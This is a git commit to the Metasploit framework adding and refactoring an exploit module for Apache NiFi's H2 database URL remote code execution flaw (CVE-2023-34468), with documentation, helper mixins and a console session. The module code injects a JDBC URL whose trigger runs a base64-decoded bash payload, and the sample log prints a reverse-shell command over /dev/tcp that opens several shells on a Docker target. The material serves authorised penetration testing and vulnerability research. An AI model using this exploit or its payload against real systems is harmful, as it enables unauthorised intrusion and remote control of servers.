apache nifi h2 rce

This commit is contained in:
h00die
2023-08-04 21:29:11 -04:00
parent 5cdac38ac0
commit 7b024f21bd
9 changed files with 431 additions and 272 deletions
@@ -0,0 +1,97 @@
## Vulnerable Application
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
to configure a Database URL with the H2 driver that enables custom code execution.
This exploit will create a new ExecuteSQL process, connect it to a DB Connection
Pool, and create a new H2 based connection. The connection is able to create
a new memory based h2 database on the fly, with a code execution inlined that
executes when the H2 connection, and process are started.
This exploit will result in several shells (5-7).
Successfully tested against Apache nifi 1.16.0 through 1.21.0.
### Vulnerable Docker Images
Docker images are available, and exploitable in the default configuration.
```
docker run -p 8443:8443 apache/nifi:1.20.0
```
After the image runs for a minute or two, you'll need to grab a set of credentials
by running grep against the logs:
```
docker logs [container_id] | grep Generated
```
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/apache_nifi_h2_rce `
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `set rhosts [ip]`
1. Do: `set lhost [ip]`
1. Do: `run`
1. You should get a shell.
## Options
### DELAY
The delay time before stopping and deleting the processor and DB connection pool. Defaults to `15`
## Scenarios
### Nifi 1.20.0 on Docker
```
msf6 > use exploit/linux/http/apache_nifi_h2_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/apache_nifi_h2_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_nifi_h2_rce) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/http/apache_nifi_h2_rce) > set username 4b6caac4-e1c6-431d-8e63-f014a6541362
username => 4b6caac4-e1c6-431d-8e63-f014a6541362
msf6 exploit(linux/http/apache_nifi_h2_rce) > set password E3ke7kCROjBabztg0acFemg5xk2QiQs1
password => E3ke7kCROjBabztg0acFemg5xk2QiQs1
msf6 exploit(linux/http/apache_nifi_h2_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/apache_nifi_h2_rce) > exploit
[+] bash -c '0<&126-;exec 126<>/dev/tcp/1.1.1.1/4444;sh <&126 >&126 2>&126'
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Apache NiFi instance supports logins and vulnerable version detected: 1.20.0
[+] Retrieved process group: c34bfd91-0189-1000-a1ab-44dda04d471e
[+] Created processor c34ccd20-0189-1000-5ee2-06eb40644237 in process group c34bfd91-0189-1000-a1ab-44dda04d471e
[+] Configured processor c34ccd20-0189-1000-5ee2-06eb40644237
[+] Configured db connection pool rkkIaE (c34cccc4-0189-1000-22c2-9fa3bb57d87b)
[+] Enabling db connection pool
[+] Starting processor
[*] Command shell session 1 opened (1.1.1.1:4444 -> 172.17.0.2:49468) at 2023-08-04 21:25:44 -0400
[*] Waiting 15 seconds before stopping and deleting
[*] Command shell session 2 opened (1.1.1.1:4444 -> 172.17.0.2:49470) at 2023-08-04 21:25:45 -0400
[*] Command shell session 3 opened (1.1.1.1:4444 -> 172.17.0.2:49478) at 2023-08-04 21:25:46 -0400
[*] Command shell session 4 opened (1.1.1.1:4444 -> 172.17.0.2:49488) at 2023-08-04 21:25:49 -0400
[*] Command shell session 6 opened (1.1.1.1:4444 -> 172.17.0.2:54526) at 2023-08-04 21:25:50 -0400
[*] Command shell session 7 opened (1.1.1.1:4444 -> 172.17.0.2:54534) at 2023-08-04 21:25:51 -0400
[+] Stopped and terminated processor c34ccd20-0189-1000-5ee2-06eb40644237
[*] Found newer revision of c34ccd20-0189-1000-5ee2-06eb40644237, attempting to delete version 4
[+] Deleted processor c34ccd20-0189-1000-5ee2-06eb40644237
[+] Disabled db connection pool c34cccc4-0189-1000-22c2-9fa3bb57d87b, sleeping 15 seconds to allow the connection to finish disabling
[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 1
[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 2
[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 3
[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 4
[+] Deleted db connection pool c34cccc4-0189-1000-22c2-9fa3bb57d87b
id
uid=1000(nifi) gid=1000(nifi) groups=1000(nifi)
uname -a
Linux 06967477694d 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 x86_64 x86_64 GNU/Linux
```
@@ -36,6 +36,12 @@ Verified against 1.12.1, 1.12.1-RC2, and 1.20.0
### Configuring a Vulnerable Environment
#### Docker
```
docker run -p 8443:8443 -d apache/nifi:1.22.0
```
#### Windows
1. Download the NiFi binaries zip file from [nifi.apache.org](https://nifi.apache.org/download.html).
+30 -127
View File
@@ -4,20 +4,45 @@ module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with wordpress installations
# This module provides a way of interacting with Apache NiFi installations
module Nifi
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Nifi::Auth
include Msf::Exploit::Remote::HTTP::Nifi::Processor
include Msf::Exploit::Remote::HTTP::Nifi::Dbconnectionpool
def initialize(info = {})
super
register_options(
[
Msf::Opt::RPORT(8443),
Msf::OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/']),
Msf::OptString.new('USERNAME', [false, 'Username to authenticate with']),
Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with']),
Msf::OptString.new('BEARER-TOKEN', [false, 'JWT authenticate with']),
], Msf::Exploit::Remote::HTTP::Nifi
)
register_advanced_options([
Msf::OptBool.new('SSL', [true, 'Negotiate SSL connection', true])
])
end
# Find the version number of the Apache NiFi system based on JS calls on the nifi/ page.
#
# @return [Gem::Version] version number of the system, or nil on error
def get_version
res = send_request_cgi!(
'uri' => normalize_uri(target_uri.path, 'nifi/')
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200
return Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">}
nil
end
# Checks the API response to see if its what is expected and returns a valid result.
@@ -46,141 +71,19 @@ module Msf
body[item]
end
# Determines if the Apache Nifi instance supports login.
#
# @return the value of supportsLogin from the server
def supports_login
response = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'access', 'config')
})
config = check_response('GETting access configuration', response, 200, 'config')
config['supportsLogin']
end
# Fetch the root process group's UUID
#
# @param token [String] The bearer token from a valid login
# @return [String] The UUID of the root process group
def fetch_root_process_group(token)
opts = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'process-groups', 'root') }
opts = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', 'root')
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response('GETting root process group', response, 200, 'id')
end
# Creates a processor in a process group
#
# @param token [String] The bearer token from a valid login
# @param process_group [String] UUID of a processor group
# @param type [String] What type of processor to create
# @return [String] The UUID of the root process group
def create_processor(token, process_group, type = 'org.apache.nifi.processors.standard.ExecuteProcess')
body = {
'component' => { 'type' => type },
'revision' => { 'version' => 0 }
}
opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'process-groups', process_group, 'processors'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("POSTing new processor in process group #{process_group}", response, 201, 'id')
end
# Get a processor in a process group
#
# @param token [String] The bearer token from a valid login
# @param processor [String] UUID of a processoror
# @param field [String] the key from the JSON blob to return
# @return [String] THe value from the specified field
def get_processor(token, processor, field = 'id')
opts = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'processors', processor)
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("GETting processor #{processor}", response, 200, field)
end
# Delete a processor
#
# @param token [String] The bearer token from a valid login
# @param processor [String] UUID of the processes
# @param version [Int] The version number to delete
def delete_processor(token, processor, version = 0)
opts = {
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'processors', processor),
'vars_get' => { 'version' => version }
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
# if we tried to delete the old revision, go ahead and delete the newer one
# arbitrary version limit of 20
while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20
version += 1
vprint_status("Found newer revision of #{processor}, attempting to delete version #{version}")
opts['vars_get'] = { 'version' => version }
response = send_request_cgi(opts)
end
check_response("DELETEting processor #{processor}", response, 200)
end
# Stop processor
#
# @param token [String] The bearer token from a valid login
# @param processor [String] UUID of the processes
def stop_processor(token, processor)
body = {
'revision' => {
'clientId' => 'x',
'version' => 1
},
'state' => 'STOPPED'
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'processors', processor, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("PUTting processor #{processor} stop command", response, 200)
# Stop may not have worked (but must be done first). Terminate threads now
opts = {
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'processors', processor, 'threads')
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("DELETEing processor #{processor} terminate threads command", response, 200)
end
# Attempts a login with username and password to retrieve a bearer token for APIs
#
# @return [String] The bearer token on successful login
def retrieve_login_token
response = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'access', 'token'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
}
)
check_response('POSTing credentials', response, 201)
response.body
end
end
end
end
@@ -0,0 +1,33 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Nifi::Auth
# Determines if the Apache Nifi instance supports login.
#
# @return the value of supportsLogin from the server
def supports_login?
response = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'config')
})
config = check_response('GETting access configuration', response, 200, 'config')
config['supportsLogin']
end
# Attempts a login with username and password to retrieve a bearer token for APIs
#
# @return [String] The bearer token on successful login
def retrieve_login_token
response = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'token'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
}
)
check_response('POSTing credentials', response, 201)
response.body
end
end
@@ -0,0 +1,77 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Nifi::Dbconnectionpool
# Stop DB Connection Pool
#
# @param token [String] The bearer token from a valid login
# @param db_con_pool [String] UUID of the DBConnectionPool
def stop_dbconnectionpool(token, db_con_pool)
body = {
'disconnectedNodeAcknowledged' => false,
'state' => 'DISABLED',
'uiOnly' => true,
'revision' => {
'clientId' => 'x',
'version' => 0
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("PUTting disable status for db connection pool #{db_con_pool}", response, 200)
end
# Delete DB Connection Pool
#
# @param token [String] The bearer token from a valid login
# @param db_con_pool [String] UUID of the DBConnectionPool
def delete_dbconnectionpool(token, db_con_pool)
version = 0
opts = {
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool),
'vars_get' => {
'version' => version
}
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20
version += 1
vprint_status("Found newer revision of #{db_con_pool}, attempting to delete version #{version}")
opts['vars_get'] = { 'version' => version }
response = send_request_cgi(opts)
end
check_response("DELETing db connection pool #{db_con_pool}", response, 200)
end
# Start DB Connection Pool
#
# @param token [String] The bearer token from a valid login
# @param db_con_pool [String] UUID of the DBConnectionPool
def start_dbconpool(token, db_con_pool)
body = {
'disconnectedNodeAcknowledged' => false,
'state' => 'ENABLED',
'uiOnly' => true,
'revision' => {
'clientId' => 'x',
'version' => 0
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("PUTting start status for db connection pool #{db_con_pool}", response, 200)
end
end
@@ -0,0 +1,122 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Nifi::Processor
# Start processor
#
# @param token [String] The bearer token from a valid login
# @param processor [String] UUID of the processes
def start_processor(token, processor)
body = {
'state' => 'RUNNING',
'disconnectedNodeAcknowledged' => false,
'revision' => {
'clientId' => 'x',
'version' => 0
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("PUTting processor #{processor} configuration", response, 200)
end
# Stop processor
#
# @param token [String] The bearer token from a valid login
# @param processor [String] UUID of the processes
def stop_processor(token, processor)
body = {
'revision' => {
'clientId' => 'x',
'version' => 1
},
'state' => 'STOPPED'
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("PUTting processor #{processor} stop command", response, 200)
# Stop may not have worked (but must be done first). Terminate threads now
opts = {
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'threads')
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("DELETEing processor #{processor} terminate threads command", response, 200)
end
# Delete a processor
#
# @param token [String] The bearer token from a valid login
# @param processor [String] UUID of the processes
# @param version [Int] The version number to delete
def delete_processor(token, processor, version = 0)
opts = {
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor),
'vars_get' => { 'version' => version }
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
# if we tried to delete the old revision, go ahead and delete the newer one
# arbitrary version limit of 20
while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20
version += 1
vprint_status("Found newer revision of #{processor}, attempting to delete version #{version}")
opts['vars_get'] = { 'version' => version }
response = send_request_cgi(opts)
end
check_response("DELETEting processor #{processor}", response, 200)
end
# Creates a processor in a process group
#
# @param token [String] The bearer token from a valid login
# @param process_group [String] UUID of a processor group
# @param type [String] What type of processor to create
# @return [String] The UUID of the root process group
def create_processor(token, process_group, type = 'org.apache.nifi.processors.standard.ExecuteProcess')
body = {
'component' => { 'type' => type },
'revision' => { 'version' => 0 }
}
opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', process_group, 'processors'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("POSTing new processor in process group #{process_group}", response, 201, 'id')
end
# Get a processor in a process group
#
# @param token [String] The bearer token from a valid login
# @param processor [String] UUID of a processoror
# @param field [String] the key from the JSON blob to return
# @return [String] THe value from the specified field
def get_processor(token, processor, field = 'id')
opts = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor)
}
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
response = send_request_cgi(opts)
check_response("GETting processor #{processor}", response, 200, field)
end
end
@@ -6,6 +6,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HTTP::Nifi
def initialize(info = {})
super(
@@ -31,30 +32,17 @@ class MetasploitModule < Msf::Auxiliary
}
)
)
register_options(
[
Opt::RPORT(8443),
OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/nifi/login'])
]
)
register_advanced_options([
OptBool.new('SSL', [true, 'Negotiate SSL connection', true])
])
deregister_options('USERNAME', 'PASSWORD', 'BEARER-TOKEN')
end
def run_host(ip)
vprint_status("Checking #{ip}")
res = send_request_cgi!(
'uri' => normalize_uri(target_uri.path)
)
version = get_version
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200
if res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">}
print_good("Apache NiFi #{Regexp.last_match(1)} found on #{ip}")
else
if version.nil?
print_bad("Apache NiFi not detected on #{ip}")
else
print_good("Apache NiFi #{version} found on #{ip}")
end
end
end
+51 -113
View File
@@ -19,19 +19,24 @@ class MetasploitModule < Msf::Exploit::Remote
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
to configure a Database URL with the H2 driver that enables custom code execution.
This exploit will create a new ExecuteSQL process, connect it to a DB Connection
Pool, and create a new H2 based connection. The connection is able to create
a new memory based h2 database on the fly, with a code execution inlined that
executes when the H2 connection, and process are started.
This exploit will result in several shells (5-7).
Successfully tested against Apache nifi 1.20.0
Successfully tested against Apache nifi 1.16.0 through 1.21.0.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Matei "Mal" Badanoiu' # discovery, POC
'Matei "Mal" Badanoiu' # discovery
],
'References' => [
['CVE', '2023-34468'],
['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'],
['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'],
['URL', 'https://nifi.apache.org/security.html#1.22.0'],
# not many h2 references on the Internet, especially for nifi, so leaving this here
# ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']
# ['URL', 'http://www.h2database.com/html/features.html']
@@ -61,55 +66,13 @@ class MetasploitModule < Msf::Exploit::Remote
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']),
OptString.new('DRIVER', [true, 'Location of the H2 driver', '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar']), # 1.20.0
OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 10])
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 15])
],
self.class
)
end
def disable_dbconnectionpool
body = {
'disconnectedNodeAcknowledged' => false,
'state' => 'DISABLED',
'uiOnly' => true,
'revision' => {
'clientId' => 'x',
'version' => 0
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("PUTting disable status for db connection pool #{@db_con_pool}", response, 200)
end
def delete_dbconnectionpool
version = 0
opts = {
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool),
'vars_get' => {
'version' => version
}
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20
version += 1
vprint_status("Found newer revision of #{@db_con_pool}, attempting to delete version #{version}")
opts['vars_get'] = { 'version' => version }
response = send_request_cgi(opts)
end
check_response("DELETing db connection pool #{@processor}", response, 200)
end
def create_dbconnectionpool
@db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10)
body = {
@@ -124,15 +87,14 @@ class MetasploitModule < Msf::Exploit::Remote
'bundle' => {
'group' => 'org.apache.nifi',
'artifact' => 'nifi-dbcp-service-nar',
# XXX this needs to be updated to the version we find
'version' => '1.20.0'
'version' => @version.to_s
},
'name' => @db_con_pool_name
}
}
opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'process-groups', @process_group, 'controller-services'),
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', @process_group, 'controller-services'),
'ctype' => 'application/json',
'data' => body.to_json
}
@@ -141,46 +103,6 @@ class MetasploitModule < Msf::Exploit::Remote
check_response("POSTing processor #{@processor} configuration", response, 201, 'id')
end
def enable_dbconpool
body = {
'disconnectedNodeAcknowledged' => false,
'state' => 'ENABLED',
'uiOnly' => true,
'revision' => {
'clientId' => 'x',
'version' => 0
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("PUTting start status for db connection pool #{@db_con_pool}", response, 200)
end
def start_processor
body = {
'state' => 'RUNNING', 'disconnectedNodeAcknowledged' => false,
'revision' => {
'clientId' => 'x',
'version' => 0
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("PUTting processor #{@processor} configuration", response, 200)
end
def configure_dbconpool
# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
b64_pe = ::Base64.strict_encode64(payload.encoded)
@@ -189,6 +111,17 @@ class MetasploitModule < Msf::Exploit::Remote
b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)
end
if @version >= Rex::Version.new('1.23.0')
# 1.23.0, not exploitable though
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.2.220.jar'
elsif @version > Rex::Version.new('1.16.0')
# 1.17.0-1.22.0, only up to 21 is exploitable
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'
else
# 1.16.0
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'
end
body = {
'disconnectedNodeAcknowledged' => false,
'component' => {
@@ -198,12 +131,12 @@ class MetasploitModule < Msf::Exploit::Remote
'comments' => '',
'properties' => {
# https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38
# we can use a random db name here, the file is created automatically
# XXX would mem work too?
'Database Connection URL' => "jdbc:h2:file:/tmp/#{Rex::Text.rand_text_alphanumeric(6..10)}.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
# we can use a random db name here, the file is created automatically if we write to disk. However, we can be more clean
# by using mem here instead of file
'Database Connection URL' => "jdbc:h2:mem:#{Rex::Text.rand_text_alpha_upper(6..12)};TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
'Database Driver Class Name' => 'org.h2.Driver',
# This seems to be installed by default, do we need the location?
'database-driver-locations' => '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar', # 1.20.0 and 1.21.0, this is a required field to get the controller to start
'database-driver-locations' => driver,
"Max Total Connections": '1' # prevents us from getting multiple callbacks
},
'sensitiveDynamicPropertyNames' => []
@@ -215,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool),
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', @db_con_pool),
'ctype' => 'application/json',
'data' => body.to_json
}
@@ -225,11 +158,11 @@ class MetasploitModule < Msf::Exploit::Remote
end
def configure_processor
@processor_name = Rex::Text.rand_text_alphanumeric(6..10)
body = {
# "disconnectedNodeAcknowledged"=> false,
'component' => {
'id' => @processor,
'name' => Rex::Text.rand_text_alphanumeric(6..10),
'name' => @processor_name,
'bulletinLevel' => 'WARN',
'comments' => '',
'config' => {
@@ -252,18 +185,18 @@ class MetasploitModule < Msf::Exploit::Remote
},
'revision' => {
'clientId' => 'x',
'version' => 1
'version' => 1 # needs to be 1 since we had 0 before
}
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'processors', @processor),
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("PUTting processor #{@processor} configuration", response, 200)
check_response("PUTting processor #{@processor_name} (#{@processor}) configuration", response, 200)
end
def check
@@ -271,18 +204,19 @@ class MetasploitModule < Msf::Exploit::Remote
@cleanup_required = false
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
if !response
login_type = supports_login?
if !login_type
CheckCode::Unknown
else
body = response.get_json_document
if !body.key?('config')
CheckCode::Safe
elsif body['config']['supportsLogin']
CheckCode::Detected
elsif login_type
@version = get_version
if @version <= Rex::Version.new('1.21.0')
CheckCode::Detected("Apache NiFi instance supports logins and vulnerable version detected: #{@version}")
else
CheckCode::Appears
CheckCode::Safe("Apache NiFi instance supports logins but not non-vulnerable version detected: #{@version}")
end
else
CheckCode::Appears('Apache NiFi instance does not support logins')
end
end
@@ -307,10 +241,10 @@ class MetasploitModule < Msf::Exploit::Remote
# Delete processor
delete_processor(@token, @processor, 3)
vprint_good("Deleted processor #{@processor}")
disable_dbconnectionpool
stop_dbconnectionpool(@token, @db_con_pool)
vprint_good("Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling")
sleep(datastore['DELAY'])
delete_dbconnectionpool
delete_dbconnectionpool(@token, @db_con_pool)
vprint_good("Deleted db connection pool #{@db_con_pool}")
end
@@ -318,7 +252,7 @@ class MetasploitModule < Msf::Exploit::Remote
validate_config
# Check whether login is required and set/fetch token
if supports_login
if supports_login?
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
fail_with(Failure::BadConfig,
'Authentication is required. Bearer-Token or Username and Password must be specified')
@@ -332,6 +266,10 @@ class MetasploitModule < Msf::Exploit::Remote
@token = false
end
if @version.nil?
@version = get_version
end
# Retrieve root process group
@process_group = fetch_root_process_group(@token)
vprint_good("Retrieved process group: #{@process_group}")
@@ -347,9 +285,9 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_good("Configured processor #{@processor}")
configure_dbconpool
vprint_good("Configured db connection pool #{@db_con_pool_name} (#{@db_con_pool})")
enable_dbconpool
start_dbconpool(@token, @db_con_pool)
vprint_good('Enabling db connection pool')
start_processor
start_processor(@token, @processor)
vprint_good('Starting processor')
end
end
@@ -5,7 +5,6 @@
# Potential Improvements:
# Add option to authenticate using client certificate
# Add a scanner module?
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
@@ -74,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']),
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptInt.new('DELAY', [
true,
'The delay (s) before stopping and deleting the processor',
@@ -101,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'processors', @processor),
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', @processor),
'ctype' => 'application/json',
'data' => body.to_json
}
@@ -123,18 +122,14 @@ class MetasploitModule < Msf::Exploit::Remote
@cleanup_required = false
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
if !response
login_type = supports_login?
if !login_type
CheckCode::Unknown
elsif login_type
CheckCode::Detected('Apache NiFi instance supports logins')
else
body = response.get_json_document
if !body.key?('config')
CheckCode::Safe
elsif body['config']['supportsLogin']
CheckCode::Detected
else
CheckCode::Appears
end
CheckCode::Appears('Apache NiFi instance does not support logins')
end
end
@@ -165,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
validate_config
# Check whether login is required and set/fetch token
if supports_login
if supports_login?
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
fail_with(Failure::BadConfig,
'Authentication is required. Bearer-Token or Username and Password must be specified')